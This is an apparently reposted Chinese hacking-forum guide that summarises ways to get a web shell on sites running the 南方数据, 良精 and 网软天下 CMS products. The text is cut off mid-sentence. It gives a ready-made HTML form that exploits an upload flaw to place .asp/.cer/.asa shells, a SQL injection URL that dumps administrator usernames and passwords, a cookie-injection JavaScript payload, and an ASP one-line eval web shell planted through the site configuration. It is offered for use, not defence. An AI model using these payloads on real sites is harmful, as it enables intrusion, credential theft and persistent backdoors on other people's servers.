南方数据拿shell总结.doc

南方数据拿shell总结 南方数据拿shell总结2010-09-16 21:56转载自 arthacker最终编辑 arthacker本文来源于：逍遥复仇 、通过upfile_other.asp漏洞文件直接取SHELL 直接打开userreg.asp进行注册会员，进行登录，（在未退出登录的状态下）使用本地上传文件进行上传代码如下： HTMLHEAD META http-equiv=Content-Type content=text/html; charset=gb2312 STYLE type=text/cssBODY { FONT-SIZE: 9pt; BACKGROUND-COLOR: #e1f4ee } .tx1 { BORDER-RIGHT: #000000 1px solid; BORDER-TOP: #000000 1px solid; FONT-SIZE: 9pt; BORDER-LEFT: #000000 1px solid; COLOR: #0000ff; BORDER-BOTTOM: #000000 1px solid; HEIGHT: 20px } /STYLE META content=MSHTML 6.00.2800.1400 name=GENERATOR/HEAD BODY leftMargin=0 topMargin=0 FORM name=form1 action=/upfile_Other.asp; method=post encType=multipart/form-dataINPUT class=tx1 type=file size=30 name=FileName INPUT class=tx1 type=file size=30 name=FileName1 INPUT style=BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal type=submit value=上传 name=Submit INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID /FORM/BODY/HTML 将以上代码保存为html格式，替换代码中的网址，第一个框里选择图片文件，第二个框选择.cer、.asa或asp文件上传（后面需要加一个空格，貌似在IE8中进行使用不能后面加空格，加空格时就弹出选择文件对话框，我是找不到解决办法）。 注：此方法通杀南方数据、良精系统、网软天下等 2、通过注入秒杀管理员帐号密码，使用如下： /NewsType.asp?SmallClass=%20union%20select%200,username%2BCHR(124)%2Bpassword,2,3,4,5,6,7,8,9%20from%20admin%20union%20select%20*%20from%20news%20where%201=2%20and%20= 以上代码直接暴管理员帐号和密码，取SHELL方法如下： 在网站配置[/admin/SiteConfig.asp]的版权信息里写入 %%eval(request(chr(35)))%% 成功把shell写入/inc/config.asp 这里一句话chr(32)密码是“#” 3、cookie注入 清空地址栏，利用union语句来注入，提交： javascript:alert(document.cookie=id=+escape(1 and 1=2 union select 1,username,password,4,5,6,7,8,9,10 from Admin)) 如果你牛你就手工，反正我是不会，用刺猬大哥的“cookie注入转换工具”方便又迅速何乐而不为？ 注：貌似南方数据、良精系统、网软天下等系统也都存在COOKIE注入。 （当然南方不只有上面三个漏洞，还有几个漏洞貌似不常用，反正我给我常用的总结出来希望对大家有帮助） 三、后台取SHELL方法总结 （1）在系统管理中的网站配置中插入一句话马：进入后台后,点左边的”系统管理”再点击”网站配置”在右边的”网站名称”(也可以在其它处)后加入%%Eval(Request(chr(